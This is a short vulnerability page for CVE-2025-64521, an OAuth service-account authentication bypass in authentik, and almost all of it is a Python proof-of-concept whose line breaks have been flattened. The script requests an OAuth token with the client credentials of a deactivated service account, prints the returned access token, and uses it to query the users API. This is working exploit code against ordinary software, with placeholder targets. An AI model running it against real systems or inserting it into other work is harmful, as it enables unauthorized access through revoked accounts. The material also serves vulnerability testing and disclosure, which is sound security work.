CVE-2025-64521: authentik OAuth服务账户身份验证绕过漏洞

import requests import json # CVE-2025-64521 PoC - Authentik OAuth Service Account Authentication Bypass # This PoC demonstrates how a deactivated service account can still authenticate BASE_URL = "https://your-authentik-instance.com" CLIENT_ID = "your-client-id" # OAuth client ID CLIENT_SECRET = "your-client-secret" # OAuth client secret def check_account_status(): """Check if the service account is deactivated but can still authenticate""" # Step 1: Attempt OAuth token request with deactivated service account token_url = f"{BASE_URL}/application/o/token/" payload = { "grant_type": "client_credentials", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET } print("[*] Attempting OAuth authentication with potentially deactivated service account...") print(f"[*] Target: {token_url}") try: response = requests.post(token_url, data=payload, timeout=10) if response.status_code == 200: token_data = response.json() print("[!] VULNERABLE: Authentication successful despite account deactivation!") print(f"[!] Access Token: {token_data.get('access_token', '')[:50]}...") print(f"[!] Token Type: {token_data.get('token_type', '')}") print(f"[!] Expires In: {token_data.get('expires_in', '')} seconds") # Step 2: Use the token to access protected resources verify_url = f"{BASE_URL}/api/v3/users/" headers = {"Authorization": f"Bearer {token_data.get('access_token')}"} verify_response = requests.get(verify_url, headers=headers) if verify_response.status_code == 200: print("[!] Successfully accessed protected resources with deactivated account!") return True else: print(f"[*] Authentication failed with status code: {response.status_code}") print(f"[*] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-64521 - Authentik OAuth Service Account Bypass PoC") print("=" * 60) check_account_status()